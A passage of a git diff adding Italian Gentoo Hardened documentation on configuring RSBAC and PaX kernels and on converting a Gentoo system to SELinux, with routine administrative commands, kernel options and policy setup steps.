+Non-executable pages  --->
+    [*] Enforce non-executable pages (NEW)
+    [*]   Paging based non-executable pages
+    <comment>(Di solito si seleziona il metodo PAGEEXEC su x86 siccome supporta
+    i più recenti PaXs, o si seleziona SEGMEXEC nel caso si abbiano problemi)</comment>
+    [*]   Segmentation based non-executable pages (NEW)
+    [*] Restrict mprotect()
+    [ ]   Disallow ELF text relocations
+    <comment>(Questa opzione non è ancora sufficientemente stabile)</comment>
+
+Address Space Layout Randomization  --->
+    [*] Address Space Layout Randomization
+    [*]   Randomize user stack base
+    [*]   Randomize mmap() base
+</pre>
+
+<note>
+Il riferimento per ulteriori informazioni è il link <uri
+link="http://pax.grsecurity.net">PaX</uri>.
+</note>
+
+<note>
+E' obbligario usare le utilità admin di RSBAC per gestire PaX con un kernel
+dedicato RSBAC, in luogo di chpax o paxctl. Operando così si può facilmente
+individuare l'oggetto PaX e di impostarne i flag.
+</note>
+
+<pre caption="Gestire i flag PaX">
+# <i>rsbac_fd_menu /path/to/the/target/item</i>
+o
+# <i>attr_set_file_dir FILE /path/to/the/target/item pax_flags [pmerxs]</i>
+</pre>
+
+<p>
+Giunti a questo punto si compila e installa il kernel scegliendo tutte le
+rimanenti opzioni come si fa nel caso normale.
+</p>
+
+<impo>
+Si raccomanda vivamente di compilare un secondo kernel senza le opzioni
+softmode, e senza l'opzione AUTH, in maniera da poterlo usare in un ambiente da
+produzione. Usarlo solo quando si è terminato il test e la configurazione delle
+politiche, siccome rende impossibile disabilitare il sistema di controllo delle
+politiche.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installazione delle utilità admin di RSBAC</title>
+<section>
+<body>
+
+<p>
+Per amministrare un sistema Gentoo con RSBAC abilitato, sono necessarie alcune
+utilità userspace. Tali utilità sono presenti nel pacchetto rsbac-admin che
+ovviamente deve essere installato.
+</p>
+
+<pre caption="Installazione delle utilità amministrative di RSBAC">
+# <i>emerge rsbac-admin</i>
+</pre>
+
+<p>
+Una volta installato, il pacchetto crea un nuovo utente del sistema (secoff, con
+uid 400). Tale utente diventerà l'amministratore della sicurezza durante il
+primo boot. E' l'unico utente in grado di cambiare la configurazione RSBAC, ed è
+comunemente chiamato Security Officer.
+</p>
+
+<impo>
+Naturalmente si deve scegliere una password <e>sicura</e> per l'utente secoff.
+</impo>
+
+<pre caption="Creazione della password per il Security Officer">
+# <i>passwd secoff</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Il primo boot</title>
+<section>
+<body>
+
+<p>
+Durante il primo boot, il login nel sistema non è possible, a causa
+dell'impostazione del modulo AUTH che <e>restringe</e> i privilegi dei
+programmi. Per aggirare questo problema eseguire il boot in softmode usando il
+seguente parametro del kernel (nella configurazione di lilo o grub):
+</p>
+
+<pre caption="Parametro del kernel per l'esecuzione in softmode">
+<i>rsbac_softmode</i>
+</pre>
+
+<p>
+L'applicazione di login gestisce tutti i login di utente del sistema. Essa ha
+bisogno dei diritti necessari per eseguire il setuid, ed occorre procedere come
+segue per fare sì che ciò avvenga:
+</p>
+
+<p>
+Eseguire il login come Security Officer (secoff) e permettere i login mediante
+il seguente comando:
+</p>
+
+<pre caption="Come permettere il login agli utenti">
+# <i>rsbac_fd_menu /bin/login</i>
+o
+# <i>attr_set_fd AUTH FILE auth_may_setuid 1 /bin/login</i>
+</pre>
+
+<p>
+Alternativamente, se il softmode non è abilitato, si può usare il seguente
+parametro di kernel, per permettere il login al boot:
+</p>
+
+<pre caption="Come permettere il login utente con un parametro di kernel">
+<i>rsbac_auth_enable_login</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Il modo Learning e il modulo AUTH</title>
+<section>
+<title>Creare un politica per OpenSSH</title>
+<body>
+
+<p>
+Siccome non esiste una politica di gestione degli accessi (tranne quella
+generata al primo boot), il modulo AUTH non permette di cambiare l'uid.
+</p>
+
+<p>
+Grazie al modo learning intelligente è facile aggirare questo problema: il
+modulo AUTH può generare "magicamente" in automatico la politica necessaria
+osservando i vari servizi all'avvio, e annotando quali uid cercano di impostare.
+Ad esempio per insegnare al modulo AUTH quali uid necessita l'sshd (il demone
+di OpenSSH), procedere come segue:
+</p>
+
+<impo>
+Assicurarsi che sshd o il demone su cui si vuole usare il modo learning non sia
+già in esecuzione prima di abilitare il modo stesso.
+</impo>
+
+<pre caption="Creazione di una politica per sshd, usando il modo learning">
+<comment>Abilitare il modo learning per sshd</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 1</i>
+
+<comment>Lanciare il servizio</comment>
+# <i>/etc/init.d/sshd start</i>
+
+<comment>Disabilitare il modo learning</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 0</i>
+</pre>
+
+<note>
+Si deve effettuare il login al sistema prima di disabilitare il modo learning,
+perchè l'sshd tenterà di cambiare i suoi uid quando un qualsiasi utente effettua
+il login.
+</note>
+
+<p>
+Ora sshd dovrebbe lavorare così come richiesto, <e>congratulazioni</e>, si è
+realizzata la prima politica :) La stessa procedura si può usare per definire la
+politica di ogni altro demone.
+</p>
+
+<note>
+Alternativamente all'abilitazione del modo learning per ogni demone che serve,
+potrebbe essere necessario abilitare un modo learning globale (che apprenderà su
+tutte le applicazioni in esecuzione globalmente, così come dice il nome).
+</note>
+
+<p>
+Si può abilitare il modo learning globale passando il seguente parametro al
+kernel durante il boot:
+</p>
+
+<pre caption="Abilitazione del modo learning globale">
+<i>rsbac_auth_learn</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ulteriori informationi</title>
+<section>
+<body>
+
+<p>
+Si raccomanda l'iscrizione alla <uri link="/main/it/lists.xml">mailing-list
+gentoo-hardened</uri>. È una mailing list a basso traffico, e gli annunci
+relativi a RSBAC per Gentoo saranno comunicati lì. Si raccomanda anche
+l'iscrizione alla <uri
+link="http://rsbac.org/mailman/listinfo/rsbac/">mailing-list RSBAC</uri>. Si può
+anche dare un'occhiata alle <uri
+link="/proj/it/hardened/hardenedfaq.xml">Domande frequenti su
+Gentoo Hardened</uri> anche se quesiti importanti potrebbero già trovare
+risposta in questo documento.
+</p>
+
+<table>
+<tr>
+  <ti>Links:</ti>
+  <ti colspan="2">
+    <uri link="http://www.rsbac.org">Sito ufficiale di RSBAC</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>Canali IRC:</ti>
+  <ti>
+    <uri link="irc://irc.freenode.org/gentoo-hardened">#gentoo-hardened</uri>
+  </ti>
+  <ti><uri link="irc://irc.freenode.org/rsbac">#rsbac</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-install.xml b/xml/htdocs/proj/it/hardened/selinux/hb-install.xml
new file mode 100644
index 00000000..2e78b3fb
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-install.xml
@@ -0,0 +1,86 @@
+<?xml version = '1.0' encoding = 'UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-install.xml,v 1.2 2010/08/03 22:32:30 scen Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2010-06-15</date>
+
+<section><title>Installazione di Gentoo SELinux</title>
+<subsection>
+<body>
+
+<warn>
+Attualmente il supporto a SELinux è limitato solamente ai server: verrà esteso a
+desktop e workstation in futuro.
+</warn>
+
+<p>
+L'installazione di Gentoo SELinux è esattamente identica ad una normale
+installazione di Gentoo. Per informazioni riguardo al regolare processo di
+installazione di Gentoo, fare riferimento al <uri
+link="/doc/it/handbook/index.xml">Manuale di Gentoo</uri>, ponendo attenzione
+alle indicazioni descritte in seguito. Quindi il sistema può essere convertito
+ad SELinux utilizzando la <uri link="?part=2">Guida alla conversione di
+SELinux</uri>.
+Inoltre si raccomanda di utilizzare il tarball dello stage 3 in versione
+"hardened", soprattutto nel caso in cui si stesse installando un sistema
+"hardened" (che è altrettanto raccomandato!).
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Note di installazione</title>
+<subsection>
+<title>Filesystem</title>
+<body>
+
+<p>
+Allo stato attuale, vengono supportati solamente ext2, ext3, JFS, XFS e Btrfs.
+Reiserfs non fornisce il supporto necessario ad XATTR, mentre Reiser4 non è
+ancora stato testato abbastanza.
+</p>
+
+<p>
+Gli utenti che utilizzano XFS, dovrebbero utilizzare inode di 512 byte (sono
+impostati in modo predefinito a 256 byte). SELinux infatti conserva le label
+di sicurezza all'interno degli attributi estesi, che XFS salva all'interno
+degli inode: nel caso in cui un inode non sia sufficiente, viene utilizzato un
+blocco aggiuntivo, causando un notevole spreco di spazio e un conseguente
+decadimento delle prestazioni.
+</p>
+
+<pre caption="Esempio di un comando per creare un filesystem XFS" >
+# <i>mkfs.xfs -i size=512 /dev/hda3</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Il Kernel</title>
+<body>
+
+<warn>
+Nelle versioni 2.6.14 e 2.6.15 del kernel è stato riscontrato un baco
+all'interno del supporto ad XFS di SELinux.
+</warn>
+
+<p>
+Per evitare di dover compilare il kernel più di una volta, vedere <uri
+link="?part=2&amp;chap=2#doc_chap2">Opzioni del kernel</uri> per individuare i
+parametri richiesti da SELinux.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-profile.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-profile.xml
new file mode 100644
index 00000000..6430dce8
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-profile.xml
@@ -0,0 +1,137 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-profile.xml,v 1.4 2010/08/03 22:37:30 scen Exp $ -->
+
+<sections>
+<version>2.1</version>
+<date>2010-06-15</date>
+
+<section>
+<title>Cambiare il profilo</title>
+<subsection>
+<body>
+
+<warn>
+Allo stato attuale, sono utilizzabili solamente ext2/3, JFS, XFS e Btrfs: altri
+filesystem non supportano completamente gli attributi estesi.
+</warn>
+
+<warn>
+E' sempre consigliabile effettuare la conversione a partire da un profile pari
+o superiore al 2006.1, altrimenti l'operazione potrebbe portare risultati
+inaspettati.
+</warn>
+
+<impo>
+Come sempre, procurarsi un LiveCD nel caso in cui si verifichino dei problemi.
+</impo>
+
+<p>
+Anzitutto occorre cambiare il proprio profilo con quello di SELinux secondo
+l'architettura di cui si dispone:
+</p>
+
+<pre caption="Cambiare profilo">
+# <i>rm -f /etc/make.profile</i>
+
+<comment>x86 (server):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/x86/server /etc/make.profile</i>
+<comment>x86 (Hardened):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/x86/hardened /etc/make.profile</i>
+<comment>AMD64 (server):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/amd64/server /etc/make.profile</i>
+<comment>AMD64 (Hardened):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/amd64/hardened /etc/make.profile</i>
+</pre>
+
+<note>
+Tramite il comando eselect del pacchetto gentoolkit, è possibile cambiare il 
+proprio profilo. Dal momento che il numero delle opzioni disponibili e la loro 
+numerazione cambia in funzione del sistema in uso, il cambiamento di profilo
+non verrà trattato in questa guida.
+</note>
+
+<impo>
+Non utilizzare profili differenti da quelli appena elencati, anche se possono
+sembrare superati: i profili di SELinux non vengono necessariamente creati così
+spesso come quelli predefiniti di Gentoo.
+</impo>
+
+<impo>
+Il profilo di SELinux dispone di un numero di flag USE significativamente
+ridotto rispetto a quello predefinito. Utilizzare <c>emerge info</c> per
+individuare quali flag USE debbano essere abilitate nuovamente in make.conf.
+</impo>
+
+<note>
+Non è necessario aggiungere la flag USE "selinux" al proprio make.conf: il
+profilo di SELinux la contiene già.
+</note>
+
+<note>
+È possibile che portage visualizzi questo messaggio: "!!! SELinux module not
+found. Please verify that it was installed." È un avvertimento normale, che
+verrà corretto in seguito durante il processo di conversione.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Aggiornare gli Header del Kernel</title>
+<subsection>
+<body>
+
+<p>
+Anzitutto occorre aggiornare alcuni pacchetti essenziali. Cominciare
+controllando quale versione di linux-headers è installata.
+</p>
+
+<pre caption="Controllare la versione di linux-headers installata">
+# <i>emerge -s linux-headers</i>
+<comment>oppure con gentoolkit:</comment>
+# <i>equery list -i linux-headers</i>
+</pre>
+
+<p>
+Se è presente una versione antecedente alla 2.4.20, è necessario emergere una
+versione più aggiornata.
+</p>
+
+<pre caption="Installare degli header aggiornati">
+# <i>emerge \>=sys-kernel/linux-headers-2.4.20</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Aggiornare Glibc</title>
+<subsection>
+<body>
+
+<p>
+Dopo aver installato i nuovi header, oppure se non si è sicuri che la libreria
+glibc sia stata compilata con gli header più recenti, occorre ricompilare glibc.
+</p>
+
+<pre caption="Ricompilare glibc">
+# <i>emerge glibc</i>
+</pre>
+
+<impo>
+Questa è una operazione critica. È necessario che glibc sia compilato con gli
+header più recenti, altrimenti alcune operazioni potranno presenteranno dei
+malfunzionamenti.
+</impo>
+
+</body>
+</subsection>
+</section>
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot1.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot1.xml
new file mode 100644
index 00000000..8a34a9a7
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot1.xml
@@ -0,0 +1,230 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot1.xml,v 1.4 2010/08/03 22:43:44 scen Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2007-07-22</date>
+
+<section>
+<title>Installare un kernel SELinux</title>
+<subsection>
+<body>
+
+<p>
+SELinux richiede un qualisiasi kernel 2.6: si suggerisce di utilizzare i
+sorgenti hardened.
+</p>
+
+<note>
+Al momento della stesura di questo documento la versione del kernel 2.6.28-r9
+è la corrente release "hardened": tutte le istruzioni contenute in seguito
+assumeranno di utilizzare almeno questa versione.
+</note>
+
+<warn>
+Le versioni del kernel 2.6.14 e 2.6.15 non dovrebbero venire utilizzate dagli
+utenti di XFS in quanto sono stati riscontrati dei bachi nel supporto a questo
+filesystem.
+</warn>
+
+<pre caption="Installare un kernel appropriato">
+<comment>Qualunque kernel 2.6</comment>
+# <i>emerge hardened-sources</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Compilare il kernel con le opzioni di SELinux abilitate</title>
+<subsection>
+<body>
+
+<p>
+Il kernel deve essere compilato abilitando il supporto ai moduli di sicurezza, a
+SELinux, a devpts e agli attributi estesi delle etichette di sicurezza (ndT:
+"security labels"). Fare riferimento alla guida di installazione principale per
+ulteriori informazioni sulla configurazione.
+</p>
+
+<note>
+Le opzioni disponibili potrebbero differire lievemente in base alla versione
+del kernel utilizzata. In particolare, Btrfs sarà disponibile a partire dalla
+versione 2.6.29 del kernel, mentre le opzioni riguardanti gli Attributi Estesi
+(ndT: "Extended Attributes") e le Etichette di Sicurezza (ndT: "Security
+Labels") per /dev/pts e tmpfs è diventata obsoleta con la versione del kernel
+2.6.13 (oltre la quale sono state abilitate di default).
+"Default Linux Capabilies" all'interno del menù "Security options" è diventata
+altrettanto obsoleta a partire dalla versione 2.6.26 (abilitata di default).
+</note>
+
+<pre caption="Posizioni ed opzioni richieste sotto menuconfig">
+<comment>Menù "General setup"</comment>
+[*] Prompt for development and/or incomplete code/drivers
+[*] Auditing support
+[*]   Enable system-call auditing support
+
+<comment>Menù "File systems"</comment>
+&lt;*&gt; Second extended fs support <comment>(per abilitare ext2)</comment>
+[*]   Ext2 extended attributes
+[ ]     Ext2 POSIX Access Control Lists
+[*]     Ext2 Security Labels
+[ ]   Ext2 Execute in place support
+&lt;*&gt; Ext3 journalling file system support <comment>(per abilitare ext3)
+</comment>
+[*]   Ext3 extended attributes
+[ ]     Ext3 POSIX Access Control Lists
+[*]     Ext3 Security labels
+&lt;*&gt; The Extended 4 (ext4) filesystem <comment>(If using ext4)</comment>
+[ ]   Enable ext4dev compatibility
+[*]   Ext4 extended attrributes
+[ ]     Ext4 POSIX Access Control Lists
+[*]     Ext4 Security Labels
+&lt;*&gt; JFS filesystem support <comment>(per abilitare JFS)</comment>
+[ ]   JFS POSIX Access Control Lists
+[*]   JFS Security Labels
+[ ]   JFS debugging
+[ ]   JFS statistics
+&lt;*&gt; XFS filesystem support <comment>(per abilitare XFS)</comment>
+[ ]   XFS Quota support
+[ ]   XFS POSIX ACL support
+[ ]   XFS Realtime subvolume support (EXPERIMENTAL)
+[ ]   XFS Debugging Support
+&lt;*&gt; Btrfs filesystem (EXPERIMENTAL) Unstable disk format <comment>(if
+using Btrfs)</comment>
+[ ]   Btrfs POSIX Access Control Lists (NEW)
+
+<comment>Menù "Pseudo filesystems" (all'interno di "File systems")</comment>
+[ ] /dev file system support (EXPERIMENTAL)
+[*]   /dev/pts Extended Attributes
+[*]     /dev/pts Security Labels
+[*] Virtual memory file system support (former shm fs)
+[*]   tmpfs Extended Attributes
+[*]     tmpfs Security Labels
+
+<comment>Menù "Security options"</comment>
+[*] Enable different security models
+[*]   Socket and Networking Security Hooks
+&lt;*&gt;   Default Linux Capabilities
+[*] NSA SELinux Support
+[ ]   NSA SELinux boot parameter
+[ ]   NSA SELinux runtime disable
+[*]   NSA SELinux Development Support
+[ ]   NSA SELinux AVC Statistics
+(1)   NSA SELinux checkreqprot default value
+[ ]   NSA SELinux enable new secmark network controls by default
+[ ]   NSA SELinux maximum supported policy format version
+</pre>
+
+<p>
+Occorre abilitare il supporto agli attributi estesi delle security label per
+devpts e per i filesystem utilizzati. Devfs non è utilizzabile in SELinux, e
+dovrebbe essere disattivato. Non tutte le opzioni descritte sono presenti nei
+vecchi kernel 2.6, come per esempio il supporto ad Auditing e runtime disable.
+Nei kernel più recenti, il supporto agli attributi estesi per i filesystem
+virtuali proc e tmpfs vengono abilitati in modo predefinito; in questo caso, non
+apparirà nessuna opzione all'interno del menù di configurazione.
+</p>
+
+<note>
+Nel caso in cui si stiano utilizzando i sorgenti "hardened" (come consigliato),
+si raccomanda di configurare anche PaX. Ulteriori informazioni a riguardo
+possono essere reperite nel corrispondente <uri
+link="http://www.gentoo.org/proj/it/hardened/pax-quickstart.xml">Guida rapida
+per PaX su Gentoo Hardened</uri>
+</note>
+
+<warn>
+Non abilitare l'opzione "SELinux MLS policy" anche se è disponibile, in quanto
+non è supportata e inibirà il riavvio della macchina.
+</warn>
+
+<p>
+Ora è possibile compilare ed installare il kernel ed i moduli, ma non riavviare.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Aggiornare fstab</title>
+<subsection>
+<body>
+
+<p>
+Affinchè SELinuxfs venga montato all'avvio, occorre aggiornare /etc/fstab nel
+seguente modo:
+</p>
+
+<pre caption="Impostazioni di Fstab per selinuxfs">
+none    /selinux       selinuxfs       defaults        0       0
+</pre>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Configurare Baselayout</title>
+<subsection>
+<body>
+
+<p>
+SELinux non supporta devfs, quindi occorre configurare baselayout per utilizzare
+nodi di dispositivi statici oppure udev: se si opta per quest'ultimo, è
+necessario disabilitare il salvataggio dei device in un archivio tar.
+Modificare quindi il file /etc/conf.d/rc impostando RC_DEVICES a "static" o
+"udev", e RC_DEVICE_TARBALL a "no". In presenza di numerosi device
+personalizzati è consigliabile utilizzare static, in caso contrario udev
+(quest'ultimo è l'impostazione di default al momento della stesura di questo
+manuale). Per ulteriori informazioni al riguardo, si consulti la
+<uri link="/doc/it/udev-guide.xml">Guida a UDEV su Gentoo</uri>.
+
+</p>
+
+<pre caption="Configurazione degli Init script">
+# Use this variable to control the /dev management behavior.
+#  auto   - let the scripts figure out what's best at boot
+#  devfs  - use devfs (requires sys-fs/devfsd)
+#  udev   - use udev (requires sys-fs/udev)
+#  static - let the user manage /dev
+
+<i>RC_DEVICES="<comment>udev</comment>"</i>
+
+# UDEV OPTION:
+# Set to "yes" if you want to save /dev to a tarball on shutdown
+# and restore it on startup.  This is useful if you have a lot of
+# custom device nodes that udev does not handle/know about.
+
+<i>RC_DEVICE_TARBALL="<comment>no</comment>"</i>
+</pre>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Riavviare</title>
+<subsection>
+<body>
+
+<p>
+Infine prima di riavviare è necessario creare alcune directory.
+</p>
+
+<pre caption="Creare le directory richieste">
+# <i>mkdir /selinux</i>
+# <i>mkdir /sys</i>
+</pre>
+
+<p>
+Infine riavviare.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot2.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot2.xml
new file mode 100644
index 00000000..eb3a5eb7
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot2.xml
@@ -0,0 +1,286 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-conv-reboot2.xml,v 1.5 2010/08/03 22:48:37 scen Exp $ -->
+
+<sections>
+<version>2.2</version>
+<date>2009-12-15</date>
+
+<section>
+<title>Emergere i pacchetti SELinux</title>
+<subsection>
+<body>
+
+<p>
+Ora occorre emergere le librerie, i programmi e le politiche di base. Potrebbe
+rendersi necessario correggere la versione delle politiche: fare riferimento al
+capitolo "Panoramica su SELinux" per ulteriori informazioni. A questo punto
+caricare le politiche.
+</p>
+
+<pre caption="Emergere i pacchetti di SELinux e le politiche di base">
+# <i>emerge -1 checkpolicy policycoreutils</i>
+# <i>FEATURES=-selinux emerge -1 selinux-base-policy</i>
+</pre>
+
+<note>
+La parte "FEATURES=-selinux" del comando di emerge dovrebbe essere usata
+solamente nel comando appena esposto. È richiesto per poter installare
+selinux-base-policy (solo per la prima volta) in quanto le caratteristiche
+SELinux di portare richiedono sia policycoreutils che selinux-base-policy
+altrimenti portage fallirà.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Scegliere il tipo di politica</title>
+<body>
+
+<p>
+A partire dal profilo 2006.1, gli utenti hanno la possibilità di scegliere tra
+una politiche rigida e una ad obbiettivi.
+</p>
+
+<p>
+Nella politica rigida, tutti i processi vengono confinati. Fino al profilo
+2006.1, Gentoo SELinux utilizzava una politica rigida, ora suggerita per i
+server. Gentoo non supporta politiche rigide sui desktop.
+</p>
+
+<p>
+Le politiche ad obbiettivi differiscono da quelle rigide per il fatto che
+solamente i servizi che si affacciano alla rete sono confinati, mentre gli
+utenti locali non sono sottoposti a limiti. Gentoo supporta questo tipo di
+politica solamente sui Desktop, tuttavia potrebbe essere utilizzata anche sui
+server.
+</p>
+
+<p>
+Per impostare il tipo di politica, modificare il file /etc/selinux/config.
+</p>
+
+<pre caption="Contenuti del file /etc/selinux/config">
+# This file controls the state of SELinux on the system on boot.
+
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=permissive <comment>(Dovrebbe restare impostata a permissive per la durata dell'installazione)</comment>
+
+# SELINUXTYPE can take one of these two values:
+#       targeted - Only targeted network daemons are protected.
+#       strict - Full SELinux protection.
+SELINUXTYPE=strict <comment>(Da impostare a rigida (strict) o ad obbiettivi (targeted))</comment>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Emergere i pacchetti adattati per SELinux</title>
+<subsection>
+<body>
+
+<p>
+Esistono numerosi pacchetti di sistema dotati delle patch di SELinux, che
+forniscono molteplici funzionalità addizionali, come visualizzare i contesti di
+un file.
+</p>
+
+<pre caption="Reinstallare i pacchetti">
+# <i>emerge -1 sysvinit pam coreutils findutils openssh procps psmisc shadow util-linux python-selinux</i>
+</pre>
+
+<note>
+Può capitare che portage riporti un errore simile a <c>!!! 'module' object has
+no attribute 'secure_rename'</c> oppure <c>AttributeError: 'module' object has
+no attribute 'getcontext'</c>: è un baco di portage che si verifica perchè non
+viene individuato python-selinux. Per correggere il problema, installarlo
+tramite "FEATURES=-selinux emerge python-selinux". Per ulteriori informazioni
+consultare il bug <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=122517">#122517</uri>.
+</note>
+
+<p>
+Sono disponibili anche altri pacchetti adattati a SELinux, ma sono opzionali. Se
+sono già installati sul sistema, dovrebbero venire reinstallati, in modo che
+vengano applicate le patch:
+</p>
+
+<ul>
+  <li>app-admin/logrotate</li>
+  <li>sys-apps/fcron</li>
+  <li>sys-apps/vixie-cron</li>
+  <li>sys-fs/device-mapper</li>
+  <li>sys-fs/udev</li>
+  <li>sys-libs/pwdb</li>
+</ul>
+
+<note>
+Fcron e Vixie-cron sono gli unici schedulatori con supporto ad SELinux
+disponibili.
+</note>
+
+<note>
+I pacchetti elencati NON sono un elenco completo ed esaustivo, ma solamente i
+più comuni. In linea di massima, qualsiasi pacchetto installato sul sistema
+che utilizzi il flag USE "selinux" dovrebbe venire installato nuovamente.
+Per identificare i pacchetti da reinstallare, si utilizzi: emerge -upDN world
+Dal momento che modificando il profilo di SELinux vengono alterati anche i flag
+USE, il comando descritto restituirà tutti i pacchetti collegati ad SELinux (e
+probabilmente qualcosa in più). Per emergere tutti i pacchetti elencati, si
+rimuova semplicemente l'opzione 'p' dal comando precedente, altrimenti
+occorrerà specificare manualmente i pacchetti da installare.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Emergere le Politiche delle Applicazioni</title>
+<subsection>
+<body>
+
+<p>
+Una volta completata l'installazione di SELinux, nel momento in cui verrà
+installato un pacchetto, la politica verrà considerata una dipendenza e
+impostata di conseguenza; tuttavia, siccome il sistema è ancora in fase di
+conversione, occorre emergere una politica per i pacchetti installati
+precedentemente. La politica selinux-base integra già la maggior parte di
+pacchetti presenti nel profilo di sistema.
+</p>
+
+<p>
+Nella cartella <c>/usr/portage/sec-policy</c> sono presenti numerosi schemi,
+ognuno dei quali rappresenta una politica. Il nome di uno schema è composto da
+selinux-NOMEPKG, dove NOMEPKG rappresenta il nome del pacchetto al quale è
+associata la politica: per esempio selinux-apache è la politica di SELinux per
+il corrispondente pacchetto net-www/apache. Occorre installare tutte le
+politiche necessarie e quindi caricarle. Se si sta convertendo un desktop,
+assicurarsi di includere il pacchetto delle politiche <c>selinux-desktop</c>.
+</p>
+
+<pre caption="Esempio: emergere le politiche di Apache e BIND">
+# <i>ls /usr/portage/sec-policy</i>
+<comment>(verranno elencate numerose directory)</comment>
+
+# <i>emerge -1 selinux-apache selinux-bind</i>
+
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Etichettare i filesystem</title>
+<subsection>
+<body>
+
+<p>
+Prima di poter procedere ad etichettare il resto del filesystem, è necessario
+anzitutto etichettare /dev. A dire il vero, questo passo è necessario solo se
+non si ha optato per la versione statica di /dev. In ogni caso, dal momento
+che attualmente la stragrande maggioranza dei sistemi utilizza udev,
+probabilmente ci si troverà in questa situazione. Esistono molte soluzioni
+differenti per svolgere questo compito: i passi seguenti sono molto semplici e
+svolgono il compito alla perfezione.
+</p>
+
+<pre caption="Etichettare /dev">
+ <i># mkdir /mnt/gentoo
+    # mount -o bind / /mnt/gentoo
+    # setfiles -r /mnt/gentoo /etc/selinux/{strict,targeted}/contexts/files/file_contexts /mnt/gentoo/dev
+    # umount /mnt/gentoo
+ </i>
+</pre>
+
+<note>
+Si ricordi di selezionare una delle due opzioni {strict,targeted} in base al
+modello di enforcement selezionato.
+</note>
+
+<p>
+L'ultimo passo necessario consiste nell'etichettare il filesystem. Questa
+operazione assegna ad ogni file una etichetta di sicurezza: è importante che la
+consistenza di queste etichette venga sempre preservata.
+</p>
+
+<pre caption="Etichettare i filesystem">
+# <i>rlpkg -a -r</i>
+</pre>
+
+<warn>
+Nelle versioni più datate di GRUB è presente un baco noto che non permette di
+leggere i link simbolici etichettati: assicurarsi di avere installato almeno la
+versione 0.94 di GRUB. Inoltre occorre reinstallare GRUB nell'MBR in modo da
+assicurarsi che venga eseguito il codice aggiornato. Per qualsiasi evenienza, è
+consigliabile tenere un LiveCD a portata di mano.
+</warn>
+
+<pre caption="Reinstallare GRUB nell'MBR (solo per gli utenti di GRUB)">
+# <i>grub</i>
+
+grub> root (hd0,0) <comment>(La partizione di avvio)</comment>
+grub> setup (hd0) <comment>(Dove installare il boot record; in questo caso, nell'MBR)</comment>
+</pre>
+
+<p>
+Se Gentoo è stato installato utilizzando la versione "hardened" del kernel,
+occorre fare in modo che SELinux ne sia a conoscenza. Questo è possibile
